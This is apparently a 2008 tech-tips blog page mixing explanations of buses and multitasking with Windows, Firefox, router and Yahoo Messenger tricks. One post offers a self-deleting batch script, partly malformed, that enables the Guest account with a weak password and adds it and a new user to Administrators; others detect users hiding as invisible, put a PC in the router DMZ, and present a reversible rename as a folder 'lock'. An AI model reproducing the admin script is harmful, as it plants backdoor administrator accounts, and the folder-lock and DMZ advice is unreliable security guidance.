Your computer has a screen and keyboard. It has hard drives and a CD-ROM and maybe a floppy disk. Some of these devices are run by controller cards that plug into the motherboard and help the computer drive them; others are run by specialized chipsets directly on the motherboard that fulfill the same function as a controller card. Your keyboard is too simple to need a separate card; the controller is built into the keyboard chassis itself.
We'll go into some of the details of how these devices work later. For now, here are a few basic things to keep in mind about how they work together:
All the parts of your computer inside the case are connected by a bus. Physically, the bus is what you plug your controller cards into (the video card, the disk controller, a sound card if you have one). The bus is the data highway between your processor, your screen, your disk, and everything else.
(If you've seen references to ‘ISA’, ‘PCI’, and ‘PCMCIA’ in connection with PCs and have not understood them, these are bus types. ISA is, except in minor details, the same bus that was used on IBM's original PCs in 1980; it is passing out of use now. PCI, for Peripheral Component Interconnection, is the bus used on most modern PCs, and on modern Macintoshes as well. PCMCIA is a variant of ISA with smaller physical connectors used on laptop computers.)
The processor, which makes everything else go, can't actually see any of the other pieces directly; it has to talk to them over the bus. The only other subsystem that it has really fast, immediate access to is memory (the core). In order for programs to run, then, they have to be in core (in memory).
When your computer reads a program or data off the disk, what actually happens is that the processor uses the bus to send a disk read request to your disk controller. Some time later the disk controller uses the bus to signal the processor that it has read the data and put it in a certain location in memory. The processor can then use the bus to look at that data.
Your keyboard and screen also communicate with the processor via the bus, but in simpler ways. We'll discuss those later on. For now, you know enough to understand what happens when you turn on your computer.

How does my computer do several things at once?

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 06:02:00 +0000

It doesn't, actually. Computers can only do one task (or process) at a time. But a computer can change tasks very rapidly, and fool slow human beings into thinking it's doing several things at once. This is called timesharing.
One of the kernel's jobs is to manage timesharing. It has a part called the scheduler which keeps information inside itself about all the other (non-kernel) processes in your zoo. Every 1/60th of a second, a timer goes off in the kernel, generating a clock interrupt. The scheduler stops whatever process is currently running, suspends it in place, and hands control to another process.
1/60th of a second may not sound like a lot of time. But on today's microprocessors it's enough to run tens of thousands of machine instructions, which can do a great deal of work. So even if you have many processes, each one can accomplish quite a bit in each of its timeslices.
In practice, a program may not get its entire timeslice. If an interrupt comes in from an I/O device, the kernel effectively stops the current task, runs the interrupt handler, and then returns to the current task. A storm of high-priority interrupts can squeeze out normal processing; this misbehavior is called thrashing and is fortunately very hard to induce under modern Unixes.
In fact, the speed of programs is only very seldom limited by the amount of machine time they can get (there are a few exceptions to this rule, such as sound or 3-D graphics generation). Much more often, delays are caused when the program has to wait on data from a disk drive or network connection.
An operating system that can routinely support many simultaneous processes is called "multitasking". The Unix family of operating systems was designed from the ground up for multitasking and is very good at it — much more effective than Windows or the old Mac OS, which had multitasking bolted into them as an afterthought and do it rather poorly. Efficient, reliable multitasking is a large part of what makes Linux superior for networking, communications, and Web service.

Get administrator rights for guest account

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:59:00 +0000

Here is the code for u to make guest account to get admin privilages
just copy and paste it in a notepad and save it as .bat and run it

so simple

==================

echo off
title Hackernotes hack Please wait...
cls

net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add

del %0

=====================

Enjoy!!!

Invisible detection in Yahoo

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:57:00 +0000

There are many ways of finding people who are online but yet invisible.......

Doodle Method

1: Double Click on the user whose status u want to check.

2: A message window will open.

3: Click IMVironment button, select See all IMVironments, select Yahoo! Tools or Interactive Fun, and click on Doodle.

4: After loading the Doodle IMVironment, dere will be two possibilities.

*If the user is offline, the Doodle area will show “waiting for your friend to load Doodle” continuously.

*If the user is online (in invisible mode), after few seconds (it can take up to one minute, depending on connection speed), you will get a blank page. So the user is online

Using Conference Invitation

1: Right Click on de user whose status u wants to check.

2: When de menu appears select Invite to Conference...

3: Now a window will appear. See at de right pane, the username u selected will be there. Now, select Invite.

Speed up your browsing of Windows 2000 & XP machines

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:51:00 +0000

Here's a great tip to speed up your browsing of Windows XP machines. Its actually a fix to a bug installed as default in Windows 2000 that scans shared files for Scheduled Tasks. And it turns out that you can experience a delay as long as 30 seconds when you try to view shared files across a network because Windows 2000 is using the extra time to search the remote computer for any Scheduled Tasks. Note that though the fix is originally intended for only those affected, Windows 2000 users will experience that the actual browsing speed of both the Internet & Windows Explorers improve significantly after applying it since it doesn't search for Scheduled Tasks anymore. Here's how :

Open up the Registry and go to :

HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Explorer/RemoteComputer/NameSpace

Under that branch, select the key :

{D6277990-4C6A-11CF-8D87-00AA0060F5BF}

and delete it.

This is key that instructs Windows to search for Scheduled Tasks. If you like you may want to export the exact branch so that you can restore the key if necessary.

This fix is so effective that it doesn't require a reboot and you can almost immediately determine yourself how much it speeds up your browsing processes.

Boost firefox speed

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:50:00 +0000

This tricks will improve the speed & load time of firefox. And you will be able to surf faster.

Type about:config in the address bar, Then look for the following entries, and make the corresponding changes.

1.network.http.max-connections-per-server =32
2.network.http.max-persistent-connections-per-proxy =16
3.network.http.max-connections = 64
4.network.http.max-persistent-connections-per-server = 10
5.network.http.pipelining = true
6.network.http.pipelining.maxrequests = 200
7.network.http.request.max-start-delay = 0
8.network.http.proxy.pipelining = true
9.network.http.proxy.version = 1.0
Lastly right-click anywhere and select New- Integer. Name it nglayout.initialpaint.delay and set its value to 0. This value is the amount of time the browser waits before it acts on information it recieves.Enjoy!!

Change drive letters

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:50:00 +0000

To change drive letters (useful if you have two drives and have partitioned the boot drive, but the secondary drive shows up as "D")

Go to Start > Control Panel > Administrative Tools > Computer Management, Disk Management, then right-click the partition whose name you want to change (click in the white area just below the word "Volume") and select "change drive letter and paths."
From here you can add, remove or change drive letters and paths to the partition

Increase you BSNL broadband speed

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:49:00 +0000

Does your torrent downloads work properly? Is your µTorrent client downloading stuff at its maximum speed? Have people told you to “forward ports” and you never understand what they mean? Then this is the right article for you! In this post, I’ll explain how to remove the or the signs in the status bar of µTorrent and get the sign.

This guide is mainly for BSNL Broadband (formerly Dataone) users with the UTStarcom UT3000R2U router. The instructions given in this guide may/may not work for other routers. So think before you experiment.

Method I:

1. Point your browser to http://192.168.1.1 (Note: Preferably use another browser, not the one that you are reading this post from)

2. Enter the both User Name and Password as admin and press OK.
You will see something similar to this:

3. Click on Advanced Options in the sidebar and select NAT under it.

4. You will see a field called DMZ Host IP Address:

5. Open Start Menu -> Run. Type cmd and press enter.

6. Type ipconfig /all. You will get something similar to this:

7. Search for your connection in this list and note down its IP Address. In my case, it was 192.168.1.2. Most probably, you will also get the same.

8. Enter this IP Address into the DMZ Host IP Address: field and press Save/Apply.

9. Click on Advanced Setup (Sidebar) and press Save/Reboot. Wait for a minute and connect again.

10. Open µTorrent and try downloading something. If it didn’t work, redo your steps. If still it doesn’t work (very low chances), try Method II.

Method II:

This is a fast and easy method.

1. Repeat first two steps from Method I

2. Click on Advanced Options in the sidebar and press the edit button for your connection. Most probably the first one in the table.

3. Click next for the ATM PVC Configuration.

4. Set the Connection Type to Bridging, leave Encapsulation Mode as LLC/SNAP-BRIDGING and press next.

5. Check Enable Bridge Service: (If unchecked) and press next.

6. Click on Save. Press Save/Reboot. Wait for a minute and connect again.

Congarts! Now their is nothing to prevent µTorrent from getting poor connections!

Hope this guide helped and please give some feedback.

Cheers!

Firefox keyboard shortcuts

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:48:00 +0000

CTRL + A Select all text on a webpage

CTRL + B Open the Bookmarks sidebar

CTRL + C Copy the selected text to the Windows clipboard

CTRL + D Bookmark the current webpage

CTRL + F Find text within the current webpage

CTRL + G Find more text within the same webpage

CTRL + H Opens the webpage History sidebar

CTRL + I Open the Bookmarks sidebar

CTRL + J Opens the Download Dialogue Box

CTRL + K Places the cursor in the Web Search box ready to type your search

CTRL + L Places the cursor into the URL box ready to type a website address

CTRL + M Opens your mail program (if you have one) to create a new email message CTRL + N Opens a new Firefox window

CTRL + O Open a local file

CTRL + P Print the current webpage

CTRL + R Reloads the current webpage

CTRL + S Save the current webpage on your PC

CTRL + T Opens a new Firefox Tab

CTRL + U View the page source of the current webpage

CTRL + V Paste the contents of the Windows clipboard

CTRL + W Closes the current Firefox Tab or Window (if more than one tab is open) CTRL + X Cut the selected text CTRL + Z Undo the last action

Lock folder withought software

noreply@blogger.com (Besteoffers) — Sat, 12 Jul 2008 05:47:00 +0000

1. Make a folder on the desktop and name it as "folder"
2. Now, open notepad and write ren folder folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} and now (Notepad Menu) File>save as.
3. In the 'save as' name it as lock.bat and click save ! (Save it on Desktop)
4. Now, again open notepad again and write ren folder.{21EC2020-3AEA-1069-A2DD-08002B30309D} folder and now (Notepad Menu) File>save as.
5. In the 'save as' name it as key.bat and click save ! (Save it on Desktop)
6. Now, double click lock.bat to lock the folder and now if you open your folder, control panel will open up !
7. Now, double click key.bat to open the folder and now if you open your folder, you can access your data inside the folder again !
8. Lock your folder and hide the key.bat somewhere else on your hard disk !
9. Whenever you want to open your folder just paste the key.bat on desktop and open your folder using it !